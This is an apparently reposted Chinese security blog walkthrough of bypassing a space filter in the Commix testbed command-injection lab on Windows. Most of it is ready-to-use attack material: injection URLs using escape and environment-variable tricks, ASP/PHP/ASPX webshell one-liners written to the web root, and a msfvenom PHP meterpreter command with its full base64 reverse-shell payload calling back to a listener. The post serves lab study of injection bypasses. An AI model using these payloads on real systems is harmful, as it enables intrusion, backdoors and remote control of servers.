命令注入靶场空格过滤绕过测试

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享   #MSF


Commix testbed项目是一个易受命令注入漏洞攻击的靶场环境,可以用于命令注入漏洞的检测和利用。最近看@Destiny老哥正在测试这个靶场,闲着没事也跟着去看了一下里边的“Classic non-space example”,整个过程还是挺有意思的,所以想着记录一下。

0x01 本地测试环境

操作系统:Windows Server 2008 R2 x64 & Windows 10 Build 17134

测试环境:phpStudy(PHP/5.6.27 + Apache/2.4.23 + MySQL 5.5.53)

测试靶场:Commix testbed(classic_non_space.php)& DVWA Command Injection

项目地址:https://github.com/commixproject/commix-testbed

.commix-testbed-masterscenariosregularGETclassic_non_space.php.commix-testbed-masterscenariosregularPOSTclassic_non_space.php

0x02 代码问题分析

在classic_non_space.php代码中发现是通过正则表达式来匹配空格进行过滤的,检测了我们提交的GET、POST数据包中是否存在空格,存在就不执行,不存在则执行,这里我只对Windows空格进行了绕过测试和研究,Linux的可以看下文末参考链接。
命令注入靶场空格过滤绕过测试


0x03 空格绕过测试

(1) 常规执行方式

http://pentest.com/classic_non_space.php?addr=baidu.com%26whoami

命令注入靶场空格过滤绕过测试


(2) echo输出(过滤空格)

http://pentest.com/classic_non_space.php?addr=baidu.com%26echo commix
命令注入靶场空格过滤绕过测试

(3) echo输出(绕过空格)

http://pentest.com/classic_non_space.php?addr=baidu.com%26echo=commix
命令注入靶场空格过滤绕过测试

可以尝试用我整理的这份空格字典结合BurpSuite工具来进行模糊测试,不过这里测试出来的符号只能用于代替部分命令的空格,并不能代替所有命令中的空格。
  • https://github.com/3had0w/Fuzzing-Dicts/blob/master/Commix -Space(46).txt

命令注入靶场空格过滤绕过测试

注:经过测试发现文件/文件夹这类命令中的空格基本都可以用这些符号来代替,如:echo、type、copy、del、dir、cd、start等,但系统/网络这类命令中的空格都不能用这些符号来代替,如:sc、net、arp、ping、netstat、ipconfig、tasklist、taskkill、traceroute、nslookup等,不过可以使用“环境变量截取”的方式来进行绕过,在后边会讲到这种方法。

(4) echo写文件(一句话木马

1)  ^转义符

http://pentest.com/classic_non_space.php?addr=baidu.com%26echo=^<?=phpinfo();?^>>C:phpStudyWWWcommixa.php
2)  “双引号
http://pentest.com/classic_non_space.php?addr=baidu.com%26echo="<?=phpinfo();?>">C:phpStudyWWWcommixb.php
3)  set/p变量
http://pentest.com/classic_non_space.php?addr=baidu.com%26set/p="<?=phpinfo();?>"<nul>>C:phpStudyWWWcommixc.php
不带空格的一句话木马:
ASP:<%execute(request("90sec"))%>PHP:<?[email protected]eval($_POST["90sec"]);?>ASPX:<%@Language="Jscript"%><%eval(Request.Item["90sec"],"unsafe");%>
命令注入靶场空格过滤绕过测试
命令注入靶场空格过滤绕过测试

注:PHP允许使用短标记<?= ?>,但不鼓励使用。只有通过激活php.ini中short_open_tag配置指令或者在编译PHP时使用了配置选项--enable-short-tags时才能使用短标记。
  • https://www.php.net/manual/zh/language.basic-syntax.phptags.php



Metasploit PHP Payload:

生成出来的PHP Payload默认是没有php标识符的,可以自行添加!不过得到的MSF会话会限制了很多命令和扩展的执行,但我们仍然可以执行upload、download、execute等命令,重新上传并执行EXE Payload即可

msfvenom -p php/meterpreter/reverse_tcp -e php/base64 lhost=192.168.1.120 LPORT=443 -f raw > /tmp/pay.php

<?[email protected]eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMS4xMjAnOyAkcG9ydCA9IDQ0MzsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygi.TmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7));?>
命令注入靶场空格过滤绕过测试

(5) Windows环境变量截取绕过

环境变量截取原理,来自@Destiny老哥分析:%%取环境变量,:截取字符串,~10从前十开始,1代表取1位,-5代表取倒数第5位,更多带空格的环境变量可以通过set命令查看

%path:~10,1%%programfiles:~10,1%%processor_identifier:~7,1%%commonprogramw6432:~10,1%%commonprogramfiles(x86):~10,1%%commonprogramfiles:~10,1%%commonprogramfiles:~10,-18%%commonprogramfiles:~23,1%%fps_browser_app_profile_string:~8,1%[...SNIP...]

命令注入靶场空格过滤绕过测试

http://pentest.com/classic_non_space.php?addr=|query%path:~10,1%user
命令注入靶场空格过滤绕过测试


0x04 遇到一点问题

这个问题可能是我测试环境问题,在两台机器上分别测试了Commix testbed和DVWA两个靶场,执行net user输出的都是空白文件,但query user和其它命令都是可以正常输出。找了几个朋友帮着测试了下,都是可以正常输出的,而我就不能执行net、net1。
1、CMD执行正常C:>ping|net%path:~10,1%user>C:net.txt
2、靶场echo正常classic_non_space.php?addr=|echo=net%path:~10,1%user
3、靶场执行输出空白classic_non_space.php?addr=|net%path:~10,1%user>C:net.txt
4、靶场执行输出正常classic_non_space.php?addr=|query%path:~10,1%user>C:query.txt
命令注入靶场空格过滤绕过测试

注:找了一下午资料,也问了不少朋友,实在搞不明白是什么原因造成的,最终只能放弃挣扎,不再去深究其原因了,这里只为大家提供这么一种思路,实战中还得注意一下权限问题!

0x05 临时解决方案

针对以上遇到的net user命令执行问题想了一个临时解决方案,就是先用echo将net user环境变量截取后的命令写入为netuser.bat批处理文件,然后再用start执行即可

1) echo=net user^>netuser.txt>C:netuser.bat
http://pentest.com/classic_non_space.php?addr=%26echo=net%path:~10,1%user^>netuser.txt>C:netuser.bat

2) start=C:netuser.bat & timeout /t 5 /NOBREAK & taskkill /f /im cmd.exe

http://pentest.com/classic_non_space.php?addr=%26start=C:netuser.bat%26timeout%path:~10,1%/t%path:~10,1%5%path:~10,1%/NOBREAK%26taskkill%path:~10,1%/f%path:~10,1%/im%path:~10,1%cmd.exe
命令注入靶场空格过滤绕过测试


0x06 参考链接

https://github.com/commixproject/commixhttps://www.betterhacker.com/2016/10/command-injection-without-spaces.htmlhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection



只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,1120领取安全参考等安全杂志PDF电子版1208领取一份常用高效爆破字典还在等什么?

命令注入靶场空格过滤绕过测试

本文始发于微信公众号(潇湘信安):命令注入靶场空格过滤绕过测试

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: